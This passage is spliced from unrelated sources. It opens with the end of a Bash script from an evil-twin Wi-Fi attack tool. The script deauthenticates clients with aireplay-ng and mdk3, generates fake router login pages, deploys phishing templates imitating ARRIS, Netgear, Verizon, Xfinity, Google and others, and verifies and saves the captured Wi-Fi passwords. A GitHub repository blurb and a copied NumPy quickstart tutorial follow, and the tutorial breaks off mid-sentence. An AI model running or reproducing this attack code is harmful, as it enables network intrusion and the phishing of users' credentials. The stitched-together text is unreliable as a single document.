$yellow\$CLIENTE_MAC $transparent($blue\$CLIENTE_FABRICANTE$transparent) $green \$CLIENTE_HOSTNAME$transparent\" done echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "let i=\$(date +%s)-\$timestamp sleep 1">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo "sleep 5 killall wpa_supplicant &>$flux_output_device killall wpa_passphrase &>$flux_output_device let i=\$i+5">>$DUMP_PATH/handcheck fi echo "done clear echo \"1\" > $DUMP_PATH/status.txt sleep 7 killall mdk3 &>$flux_output_device killall aireplay-ng &>$flux_output_device killall airbase-ng &>$flux_output_device kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$flux_output_device killall hostapd &>$flux_output_device killall lighttpd &>$flux_output_device killall dhcpd &>$flux_output_device killall wpa_supplicant &>$flux_output_device killall wpa_passphrase &>$flux_output_device echo \" FLUX $version by ghost SSID: $Host_SSID BSSID: $Host_MAC ($Host_MAC_MODEL) Channel: $Host_CHAN Security: $Host_ENC Time: \$ih\$horas:\$im\$minutos:\$is\$segundos Password: \$(cat $DUMP_PATH/data.txt) \" >\"$HOME/$Host_SSID-password.txt\"">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"The password was saved in "$red"$HOME/$Host_SSID-password.txt"$transparent"\" ">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo "echo -e \"The password was saved in "$red"$HOME/$Host_SSID-password.txt"$transparent"\"">>$DUMP_PATH/handcheck fi echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck chmod +x $DUMP_PATH/handcheck } ############################################# < ATTACK > ############################################ ############################################## < STUFF > ############################################ # Deauth all function deauthall { xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR & } function deauthmdk3 { echo "$Host_MAC" >$DUMP_PATH/mdk3.txt xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating via mdk3 all clients on $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & mdk3PID=$! } # Deauth to a specific target function deauthesp { sleep 2 xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating client $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR & } # Close all processes function matartodo { killall aireplay-ng &>$flux_output_device kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device killall hostapd &>$flux_output_device killall lighttpd &>$flux_output_device killall dhcpd &>$flux_output_device killall xterm &>$flux_output_device } ######################################### < INTERFACE WEB > ######################################## # Create the contents for the web interface function NEUTRA { if [ ! -d $DUMP_PATH/data ]; then mkdir $DUMP_PATH/data fi source $WORK_DIR/lib/site/index | base64 -d > $DUMP_PATH/file.zip unzip $DUMP_PATH/file.zip -d $DUMP_PATH/data &>$flux_output_device rm $DUMP_PATH/file.zip &>$flux_output_device echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> </head> <body> <!-- final page --> <div id=\"done\" data-role=\"page\" data-theme=\"a\"> <div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\"> <h3 style=\"text-align:center;\">$DIALOG_WEB_OK</h3> </div> </div> </body> </html>" > $DUMP_PATH/data/final.html echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> <script src=\"js/jquery.validate.min.js\"></script> <script src=\"js/additional-methods.min.js\"></script> </head> <body> <!-- Error page --> <div data-role=\"page\" data-theme=\"a\"> <div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\"> <h3 style=\"text-align:center;\">$DIALOG_WEB_ERROR</h3> <a href=\"index.htm\" class=\"ui-btn ui-corner-all ui-shadow\" onclick=\"location.href='index.htm'\">$DIALOG_WEB_BACK</a> </div> </div> </body> </html>" > $DUMP_PATH/data/error.html echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> <script src=\"js/jquery.validate.min.js\"></script> <script src=\"js/additional-methods.min.js\"></script> </head> <body> <!-- Main page --> <div data-role=\"page\" data-theme=\"a\"> <div class=\"ui-content\" dir=\"$DIALOG_WEB_DIR\"> <fieldset> <form id=\"loginForm\" class=\"ui-body ui-body-b ui-corner-all\" action=\"check.php\" method=\"POST\"> </br> <div class=\"ui-field-contain ui-responsive\" style=\"text-align:center;\"> <div>ESSID: <u>$Host_SSID</u></div> <div>BSSID: <u>$Host_MAC</u></div> <div>Channel: <u>$Host_CHAN</u></div> </div> <div style=\"text-align:center;\"> <br><label>$DIALOG_WEB_INFO</label></br> </div> <div class=\"ui-field-contain\" > <label for=\"key1\">$DIALOG_WEB_INPUT</label> <input id=\"key1\" data-clear-btn=\"true\" type=\"password\" value=\"\" name=\"key1\" maxlength=\"64\"/> </div> <input data-icon=\"check\" data-inline=\"true\" name=\"submitBtn\" type=\"submit\" value=\"$DIALOG_WEB_SUBMIT\"/> </form> </fieldset> </div> </div> <script src=\"js/main.js\"></script> <script> $.extend( $.validator.messages, { required: \"$DIALOG_WEB_ERROR_MSG\", maxlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MAX\" ), minlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MIN\" )}); </script> </body> </html>" > $DUMP_PATH/data/index.htm } # Functions to populate the content for the custom phishing pages function ARRIS { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ARRIS-ENG/* $DUMP_PATH/data } function BELKIN { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/belkin_eng/* $DUMP_PATH/data } function NETGEAR { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/netgear_eng/* $DUMP_PATH/data } function ARRIS2 { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/arris_esp/* $DUMP_PATH/data } function NETGEAR2 { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/netgear_esp/* $DUMP_PATH/data } function TPLINK { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/tplink/* $DUMP_PATH/data } function VODAFONE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/vodafone_esp/* $DUMP_PATH/data } function VERIZON { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/verizon/Verizon_files $DUMP_PATH/data cp $WORK_DIR/sites/verizon/Verizon.html $DUMP_PATH/data } function HUAWEI { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/huawei_eng/* $DUMP_PATH/data } function ZIGGO_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ziggo_nl/* $DUMP_PATH/data } function KPN_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/kpn_nl/* $DUMP_PATH/data } function ZIGGO2016_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ziggo2_nl/* $DUMP_PATH/data } function FRITZBOX_DE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/fritzbox_de/* $DUMP_PATH/data } function FRITZBOX_ENG { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/fritzbox_eng/* $DUMP_PATH/data } function GENEXIS_DE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/genenix_de/* $DUMP_PATH/data } function Login-Netgear { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/Login-Netgear/* $DUMP_PATH/data } function Login-Xfinity { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/Login-Xfinity/* $DUMP_PATH/data } function Telekom { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/telekom/* $DUMP_PATH/data } function google { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/google_de/* $DUMP_PATH/data } function MOVISTAR_ES { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/movistar_esp/* $DUMP_PATH/data } ######################################### < INTERFACE WEB > ######################################## top && setresolution && setinterface
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GihanSoft / NaturalStringComparerLINQ like method and Comparer<string> that can be used to sort strings by number in them (like what windows explorer do {"text1", "text2", "text10"} instead of {"text1", "text10", "text2"}). pure C# with .NET Standard.
Aryia-Behroziuan / NumpyQuickstart tutorial Prerequisites Before reading this tutorial you should know a bit of Python. If you would like to refresh your memory, take a look at the Python tutorial. If you wish to work the examples in this tutorial, you must also have some software installed on your computer. Please see https://scipy.org/install.html for instructions. Learner profile This tutorial is intended as a quick overview of algebra and arrays in NumPy and want to understand how n-dimensional (n>=2) arrays are represented and can be manipulated. In particular, if you don’t know how to apply common functions to n-dimensional arrays (without using for-loops), or if you want to understand axis and shape properties for n-dimensional arrays, this tutorial might be of help. Learning Objectives After this tutorial, you should be able to: Understand the difference between one-, two- and n-dimensional arrays in NumPy; Understand how to apply some linear algebra operations to n-dimensional arrays without using for-loops; Understand axis and shape properties for n-dimensional arrays. The Basics NumPy’s main object is the homogeneous multidimensional array. It is a table of elements (usually numbers), all of the same type, indexed by a tuple of non-negative integers. In NumPy dimensions are called axes. For example, the coordinates of a point in 3D space [1, 2, 1] has one axis. That axis has 3 elements in it, so we say it has a length of 3. In the example pictured below, the array has 2 axes. The first axis has a length of 2, the second axis has a length of 3. [[ 1., 0., 0.], [ 0., 1., 2.]] NumPy’s array class is called ndarray. It is also known by the alias array. Note that numpy.array is not the same as the Standard Python Library class array.array, which only handles one-dimensional arrays and offers less functionality. The more important attributes of an ndarray object are: ndarray.ndim the number of axes (dimensions) of the array. ndarray.shape the dimensions of the array. This is a tuple of integers indicating the size of the array in each dimension. For a matrix with n rows and m columns, shape will be (n,m). The length of the shape tuple is therefore the number of axes, ndim. ndarray.size the total number of elements of the array. This is equal to the product of the elements of shape. ndarray.dtype an object describing the type of the elements in the array. One can create or specify dtype’s using standard Python types. Additionally NumPy provides types of its own. numpy.int32, numpy.int16, and numpy.float64 are some examples. ndarray.itemsize the size in bytes of each element of the array. For example, an array of elements of type float64 has itemsize 8 (=64/8), while one of type complex32 has itemsize 4 (=32/8). It is equivalent to ndarray.dtype.itemsize. ndarray.data the buffer containing the actual elements of the array. Normally, we won’t need to use this attribute because we will access the elements in an array using indexing facilities. An example >>> import numpy as np a = np.arange(15).reshape(3, 5) a array([[ 0, 1, 2, 3, 4], [ 5, 6, 7, 8, 9], [10, 11, 12, 13, 14]]) a.shape (3, 5) a.ndim 2 a.dtype.name 'int64' a.itemsize 8 a.size 15 type(a) <class 'numpy.ndarray'> b = np.array([6, 7, 8]) b array([6, 7, 8]) type(b) <class 'numpy.ndarray'> Array Creation There are several ways to create arrays. For example, you can create an array from a regular Python list or tuple using the array function. The type of the resulting array is deduced from the type of the elements in the sequences. >>> >>> import numpy as np >>> a = np.array([2,3,4]) >>> a array([2, 3, 4]) >>> a.dtype dtype('int64') >>> b = np.array([1.2, 3.5, 5.1]) >>> b.dtype dtype('float64') A frequent error consists in calling array with multiple arguments, rather than providing a single sequence as an argument. >>> >>> a = np.array(1,2,3,4) # WRONG Traceback (most recent call last): ... TypeError: array() takes from 1 to 2 positional arguments but 4 were given >>> a = np.array([1,2,3,4]) # RIGHT array transforms sequences of sequences into two-dimensional arrays, sequences of sequences of sequences into three-dimensional arrays, and so on. >>> >>> b = np.array([(1.5,2,3), (4,5,6)]) >>> b array([[1.5, 2. , 3. ], [4. , 5. , 6. ]]) The type of the array can also be explicitly specified at creation time: >>> >>> c = np.array( [ [1,2], [3,4] ], dtype=complex ) >>> c array([[1.+0.j, 2.+0.j], [3.+0.j, 4.+0.j]]) Often, the elements of an array are originally unknown, but its size is known. Hence, NumPy offers several functions to create arrays with initial placeholder content. These minimize the necessity of growing arrays, an expensive operation. The function zeros creates an array full of zeros, the function ones creates an array full of ones, and the function empty creates an array whose initial content is random and depends on the state of the memory. By default, the dtype of the created array is float64. >>> >>> np.zeros((3, 4)) array([[0., 0., 0., 0.], [0., 0., 0., 0.], [0., 0., 0., 0.]]) >>> np.ones( (2,3,4), dtype=np.int16 ) # dtype can also be specified array([[[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]], [[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]]], dtype=int16) >>> np.empty( (2,3) ) # uninitialized array([[ 3.73603959e-262, 6.02658058e-154, 6.55490914e-260], # may vary [ 5.30498948e-313, 3.14673309e-307, 1.00000000e+000]]) To create sequences of numbers, NumPy provides the arange function which is analogous to the Python built-in range, but returns an array. >>> >>> np.arange( 10, 30, 5 ) array([10, 15, 20, 25]) >>> np.arange( 0, 2, 0.3 ) # it accepts float arguments array([0. , 0.3, 0.6, 0.9, 1.2, 1.5, 1.8]) When arange is used with floating point arguments, it is generally not possible to predict the number of elements obtained, due to the finite floating point precision. For this reason, it is usually better to use the function linspace that receives as an argument the number of elements that we want, instead of the step: >>> >>> from numpy import pi >>> np.linspace( 0, 2, 9 ) # 9 numbers from 0 to 2 array([0. , 0.25, 0.5 , 0.75, 1. , 1.25, 1.5 , 1.75, 2. ]) >>> x = np.linspace( 0, 2*pi, 100 ) # useful to evaluate function at lots of points >>> f = np.sin(x) See also array, zeros, zeros_like, ones, ones_like, empty, empty_like, arange, linspace, numpy.random.Generator.rand, numpy.random.Generator.randn, fromfunction, fromfile Printing Arrays When you print an array, NumPy displays it in a similar way to nested lists, but with the following layout: the last axis is printed from left to right, the second-to-last is printed from top to bottom, the rest are also printed from top to bottom, with each slice separated from the next by an empty line. One-dimensional arrays are then printed as rows, bidimensionals as matrices and tridimensionals as lists of matrices. >>> >>> a = np.arange(6) # 1d array >>> print(a) [0 1 2 3 4 5] >>> >>> b = np.arange(12).reshape(4,3) # 2d array >>> print(b) [[ 0 1 2] [ 3 4 5] [ 6 7 8] [ 9 10 11]] >>> >>> c = np.arange(24).reshape(2,3,4) # 3d array >>> print(c) [[[ 0 1 2 3] [ 4 5 6 7] [ 8 9 10 11]] [[12 13 14 15] [16 17 18 19] [20 21 22 23]]] See below to get more details on reshape. If an array is too large to be printed, NumPy automatically skips the central part of the array and only prints the corners: >>> >>> print(np.arange(10000)) [ 0 1 2 ... 9997 9998 9999] >>> >>> print(np.arange(10000).reshape(100,100)) [[ 0 1 2 ... 97 98 99] [ 100 101 102 ... 197 198 199] [ 200 201 202 ... 297 298 299] ... [9700 9701 9702 ... 9797 9798 9799] [9800 9801 9802 ... 9897 9898 9899] [9900 9901 9902 ... 9997 9998 9999]] To disable this behaviour and force NumPy to print the entire array, you can change the printing options using set_printoptions. >>> >>> np.set_printoptions(threshold=sys.maxsize) # sys module should be imported Basic Operations Arithmetic operators on arrays apply elementwise. A new array is created and filled with the result. >>> >>> a = np.array( [20,30,40,50] ) >>> b = np.arange( 4 ) >>> b array([0, 1, 2, 3]) >>> c = a-b >>> c array([20, 29, 38, 47]) >>> b**2 array([0, 1, 4, 9]) >>> 10*np.sin(a) array([ 9.12945251, -9.88031624, 7.4511316 , -2.62374854]) >>> a<35 array([ True, True, False, False]) Unlike in many matrix languages, the product operator * operates elementwise in NumPy arrays. The matrix product can be performed using the @ operator (in python >=3.5) or the dot function or method: >>> >>> A = np.array( [[1,1], ... [0,1]] ) >>> B = np.array( [[2,0], ... [3,4]] ) >>> A * B # elementwise product array([[2, 0], [0, 4]]) >>> A @ B # matrix product array([[5, 4], [3, 4]]) >>> A.dot(B) # another matrix product array([[5, 4], [3, 4]]) Some operations, such as += and *=, act in place to modify an existing array rather than create a new one. >>> >>> rg = np.random.default_rng(1) # create instance of default random number generator >>> a = np.ones((2,3), dtype=int) >>> b = rg.random((2,3)) >>> a *= 3 >>> a array([[3, 3, 3], [3, 3, 3]]) >>> b += a >>> b array([[3.51182162, 3.9504637 , 3.14415961], [3.94864945, 3.31183145, 3.42332645]]) >>> a += b # b is not automatically converted to integer type Traceback (most recent call last): ... numpy.core._exceptions.UFuncTypeError: Cannot cast ufunc 'add' output from dtype('float64') to dtype('int64') with casting rule 'same_kind' When operating with arrays of different types, the type of the resulting array corresponds to the more general or precise one (a behavior known as upcasting). >>> >>> a = np.ones(3, dtype=np.int32) >>> b = np.linspace(0,pi,3) >>> b.dtype.name 'float64' >>> c = a+b >>> c array([1. , 2.57079633, 4.14159265]) >>> c.dtype.name 'float64' >>> d = np.exp(c*1j) >>> d array([ 0.54030231+0.84147098j, -0.84147098+0.54030231j, -0.54030231-0.84147098j]) >>> d.dtype.name 'complex128' Many unary operations, such as computing the sum of all the elements in the array, are implemented as methods of the ndarray class. >>> >>> a = rg.random((2,3)) >>> a array([[0.82770259, 0.40919914, 0.54959369], [0.02755911, 0.75351311, 0.53814331]]) >>> a.sum() 3.1057109529998157 >>> a.min() 0.027559113243068367 >>> a.max() 0.8277025938204418 By default, these operations apply to the array as though it were a list of numbers, regardless of its shape. However, by specifying the axis parameter you can apply an operation along the specified axis of an array: >>> >>> b = np.arange(12).reshape(3,4) >>> b array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> b.sum(axis=0) # sum of each column array([12, 15, 18, 21]) >>> >>> b.min(axis=1) # min of each row array([0, 4, 8]) >>> >>> b.cumsum(axis=1) # cumulative sum along each row array([[ 0, 1, 3, 6], [ 4, 9, 15, 22], [ 8, 17, 27, 38]]) Universal Functions NumPy provides familiar mathematical functions such as sin, cos, and exp. In NumPy, these are called “universal functions”(ufunc). Within NumPy, these functions operate elementwise on an array, producing an array as output. >>> >>> B = np.arange(3) >>> B array([0, 1, 2]) >>> np.exp(B) array([1. , 2.71828183, 7.3890561 ]) >>> np.sqrt(B) array([0. , 1. , 1.41421356]) >>> C = np.array([2., -1., 4.]) >>> np.add(B, C) array([2., 0., 6.]) See also all, any, apply_along_axis, argmax, argmin, argsort, average, bincount, ceil, clip, conj, corrcoef, cov, cross, cumprod, cumsum, diff, dot, floor, inner, invert, lexsort, max, maximum, mean, median, min, minimum, nonzero, outer, prod, re, round, sort, std, sum, trace, transpose, var, vdot, vectorize, where Indexing, Slicing and Iterating One-dimensional arrays can be indexed, sliced and iterated over, much like lists and other Python sequences. >>> >>> a = np.arange(10)**3 >>> a array([ 0, 1, 8, 27, 64, 125, 216, 343, 512, 729]) >>> a[2] 8 >>> a[2:5] array([ 8, 27, 64]) # equivalent to a[0:6:2] = 1000; # from start to position 6, exclusive, set every 2nd element to 1000 >>> a[:6:2] = 1000 >>> a array([1000, 1, 1000, 27, 1000, 125, 216, 343, 512, 729]) >>> a[ : :-1] # reversed a array([ 729, 512, 343, 216, 125, 1000, 27, 1000, 1, 1000]) >>> for i in a: ... print(i**(1/3.)) ... 9.999999999999998 1.0 9.999999999999998 3.0 9.999999999999998 4.999999999999999 5.999999999999999 6.999999999999999 7.999999999999999 8.999999999999998 Multidimensional arrays can have one index per axis. These indices are given in a tuple separated by commas: >>> >>> def f(x,y): ... return 10*x+y ... >>> b = np.fromfunction(f,(5,4),dtype=int) >>> b array([[ 0, 1, 2, 3], [10, 11, 12, 13], [20, 21, 22, 23], [30, 31, 32, 33], [40, 41, 42, 43]]) >>> b[2,3] 23 >>> b[0:5, 1] # each row in the second column of b array([ 1, 11, 21, 31, 41]) >>> b[ : ,1] # equivalent to the previous example array([ 1, 11, 21, 31, 41]) >>> b[1:3, : ] # each column in the second and third row of b array([[10, 11, 12, 13], [20, 21, 22, 23]]) When fewer indices are provided than the number of axes, the missing indices are considered complete slices: >>> >>> b[-1] # the last row. Equivalent to b[-1,:] array([40, 41, 42, 43]) The expression within brackets in b[i] is treated as an i followed by as many instances of : as needed to represent the remaining axes. NumPy also allows you to write this using dots as b[i,...]. The dots (...) represent as many colons as needed to produce a complete indexing tuple. For example, if x is an array with 5 axes, then x[1,2,...] is equivalent to x[1,2,:,:,:], x[...,3] to x[:,:,:,:,3] and x[4,...,5,:] to x[4,:,:,5,:]. >>> >>> c = np.array( [[[ 0, 1, 2], # a 3D array (two stacked 2D arrays) ... [ 10, 12, 13]], ... [[100,101,102], ... [110,112,113]]]) >>> c.shape (2, 2, 3) >>> c[1,...] # same as c[1,:,:] or c[1] array([[100, 101, 102], [110, 112, 113]]) >>> c[...,2] # same as c[:,:,2] array([[ 2, 13], [102, 113]]) Iterating over multidimensional arrays is done with respect to the first axis: >>> >>> for row in b: ... print(row) ... [0 1 2 3] [10 11 12 13] [20 21 22 23] [30 31 32 33] [40 41 42 43] However, if one wants to perform an operation on each element in the array, one can use the flat attribute which is an iterator over all the elements of the array: >>> >>> for element in b.flat: ... print(element) ... 0 1 2 3 10 11 12 13 20 21 22 23 30 31 32 33 40 41 42 43 See also Indexing, Indexing (reference), newaxis, ndenumerate, indices Shape Manipulation Changing the shape of an array An array has a shape given by the number of elements along each axis: >>> >>> a = np.floor(10*rg.random((3,4))) >>> a array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) >>> a.shape (3, 4) The shape of an array can be changed with various commands. Note that the following three commands all return a modified array, but do not change the original array: >>> >>> a.ravel() # returns the array, flattened array([3., 7., 3., 4., 1., 4., 2., 2., 7., 2., 4., 9.]) >>> a.reshape(6,2) # returns the array with a modified shape array([[3., 7.], [3., 4.], [1., 4.], [2., 2.], [7., 2.], [4., 9.]]) >>> a.T # returns the array, transposed array([[3., 1., 7.], [7., 4., 2.], [3., 2., 4.], [4., 2., 9.]]) >>> a.T.shape (4, 3) >>> a.shape (3, 4) The order of the elements in the array resulting from ravel() is normally “C-style”, that is, the rightmost index “changes the fastest”, so the element after a[0,0] is a[0,1]. If the array is reshaped to some other shape, again the array is treated as “C-style”. NumPy normally creates arrays stored in this order, so ravel() will usually not need to copy its argument, but if the array was made by taking slices of another array or created with unusual options, it may need to be copied. The functions ravel() and reshape() can also be instructed, using an optional argument, to use FORTRAN-style arrays, in which the leftmost index changes the fastest. The reshape function returns its argument with a modified shape, whereas the ndarray.resize method modifies the array itself: >>> >>> a array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) >>> a.resize((2,6)) >>> a array([[3., 7., 3., 4., 1., 4.], [2., 2., 7., 2., 4., 9.]]) If a dimension is given as -1 in a reshaping operation, the other dimensions are automatically calculated: >>> >>> a.reshape(3,-1) array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) See also ndarray.shape, reshape, resize, ravel Stacking together different arrays Several arrays can be stacked together along different axes: >>> >>> a = np.floor(10*rg.random((2,2))) >>> a array([[9., 7.], [5., 2.]]) >>> b = np.floor(10*rg.random((2,2))) >>> b array([[1., 9.], [5., 1.]]) >>> np.vstack((a,b)) array([[9., 7.], [5., 2.], [1., 9.], [5., 1.]]) >>> np.hstack((a,b)) array([[9., 7., 1., 9.], [5., 2., 5., 1.]]) The function column_stack stacks 1D arrays as columns into a 2D array. It is equivalent to hstack only for 2D arrays: >>> >>> from numpy import newaxis >>> np.column_stack((a,b)) # with 2D arrays array([[9., 7., 1., 9.], [5., 2., 5., 1.]]) >>> a = np.array([4.,2.]) >>> b = np.array([3.,8.]) >>> np.column_stack((a,b)) # returns a 2D array array([[4., 3.], [2., 8.]]) >>> np.hstack((a,b)) # the result is different array([4., 2., 3., 8.]) >>> a[:,newaxis] # view `a` as a 2D column vector array([[4.], [2.]]) >>> np.column_stack((a[:,newaxis],b[:,newaxis])) array([[4., 3.], [2., 8.]]) >>> np.hstack((a[:,newaxis],b[:,newaxis])) # the result is the same array([[4., 3.], [2., 8.]]) On the other hand, the function row_stack is equivalent to vstack for any input arrays. In fact, row_stack is an alias for vstack: >>> >>> np.column_stack is np.hstack False >>> np.row_stack is np.vstack True In general, for arrays with more than two dimensions, hstack stacks along their second axes, vstack stacks along their first axes, and concatenate allows for an optional arguments giving the number of the axis along which the concatenation should happen. Note In complex cases, r_ and c_ are useful for creating arrays by stacking numbers along one axis. They allow the use of range literals (“:”) >>> >>> np.r_[1:4,0,4] array([1, 2, 3, 0, 4]) When used with arrays as arguments, r_ and c_ are similar to vstack and hstack in their default behavior, but allow for an optional argument giving the number of the axis along which to concatenate. See also hstack, vstack, column_stack, concatenate, c_, r_ Splitting one array into several smaller ones Using hsplit, you can split an array along its horizontal axis, either by specifying the number of equally shaped arrays to return, or by specifying the columns after which the division should occur: >>> >>> a = np.floor(10*rg.random((2,12))) >>> a array([[6., 7., 6., 9., 0., 5., 4., 0., 6., 8., 5., 2.], [8., 5., 5., 7., 1., 8., 6., 7., 1., 8., 1., 0.]]) # Split a into 3 >>> np.hsplit(a,3) [array([[6., 7., 6., 9.], [8., 5., 5., 7.]]), array([[0., 5., 4., 0.], [1., 8., 6., 7.]]), array([[6., 8., 5., 2.], [1., 8., 1., 0.]])] # Split a after the third and the fourth column >>> np.hsplit(a,(3,4)) [array([[6., 7., 6.], [8., 5., 5.]]), array([[9.], [7.]]), array([[0., 5., 4., 0., 6., 8., 5., 2.], [1., 8., 6., 7., 1., 8., 1., 0.]])] vsplit splits along the vertical axis, and array_split allows one to specify along which axis to split. Copies and Views When operating and manipulating arrays, their data is sometimes copied into a new array and sometimes not. This is often a source of confusion for beginners. There are three cases: No Copy at All Simple assignments make no copy of objects or their data. >>> >>> a = np.array([[ 0, 1, 2, 3], ... [ 4, 5, 6, 7], ... [ 8, 9, 10, 11]]) >>> b = a # no new object is created >>> b is a # a and b are two names for the same ndarray object True Python passes mutable objects as references, so function calls make no copy. >>> >>> def f(x): ... print(id(x)) ... >>> id(a) # id is a unique identifier of an object 148293216 # may vary >>> f(a) 148293216 # may vary View or Shallow Copy Different array objects can share the same data. The view method creates a new array object that looks at the same data. >>> >>> c = a.view() >>> c is a False >>> c.base is a # c is a view of the data owned by a True >>> c.flags.owndata False >>> >>> c = c.reshape((2, 6)) # a's shape doesn't change >>> a.shape (3, 4) >>> c[0, 4] = 1234 # a's data changes >>> a array([[ 0, 1, 2, 3], [1234, 5, 6, 7], [ 8, 9, 10, 11]]) Slicing an array returns a view of it: >>> >>> s = a[ : , 1:3] # spaces added for clarity; could also be written "s = a[:, 1:3]" >>> s[:] = 10 # s[:] is a view of s. Note the difference between s = 10 and s[:] = 10 >>> a array([[ 0, 10, 10, 3], [1234, 10, 10, 7], [ 8, 10, 10, 11]]) Deep Copy The copy method makes a complete copy of the array and its data. >>> >>> d = a.copy() # a new array object with new data is created >>> d is a False >>> d.base is a # d doesn't share anything with a False >>> d[0,0] = 9999 >>> a array([[ 0, 10, 10, 3], [1234, 10, 10, 7], [ 8, 10, 10, 11]]) Sometimes copy should be called after slicing if the original array is not required anymore. For example, suppose a is a huge intermediate result and the final result b only contains a small fraction of a, a deep copy should be made when constructing b with slicing: >>> >>> a = np.arange(int(1e8)) >>> b = a[:100].copy() >>> del a # the memory of ``a`` can be released. If b = a[:100] is used instead, a is referenced by b and will persist in memory even if del a is executed. Functions and Methods Overview Here is a list of some useful NumPy functions and methods names ordered in categories. See Routines for the full list. Array Creation arange, array, copy, empty, empty_like, eye, fromfile, fromfunction, identity, linspace, logspace, mgrid, ogrid, ones, ones_like, r_, zeros, zeros_like Conversions ndarray.astype, atleast_1d, atleast_2d, atleast_3d, mat Manipulations array_split, column_stack, concatenate, diagonal, dsplit, dstack, hsplit, hstack, ndarray.item, newaxis, ravel, repeat, reshape, resize, squeeze, swapaxes, take, transpose, vsplit, vstack Questions all, any, nonzero, where Ordering argmax, argmin, argsort, max, min, ptp, searchsorted, sort Operations choose, compress, cumprod, cumsum, inner, ndarray.fill, imag, prod, put, putmask, real, sum Basic Statistics cov, mean, std, var Basic Linear Algebra cross, dot, outer, linalg.svd, vdot Less Basic Broadcasting rules Broadcasting allows universal functions to deal in a meaningful way with inputs that do not have exactly the same shape. The first rule of broadcasting is that if all input arrays do not have the same number of dimensions, a “1” will be repeatedly prepended to the shapes of the smaller arrays until all the arrays have the same number of dimensions. The second rule of broadcasting ensures that arrays with a size of 1 along a particular dimension act as if they had the size of 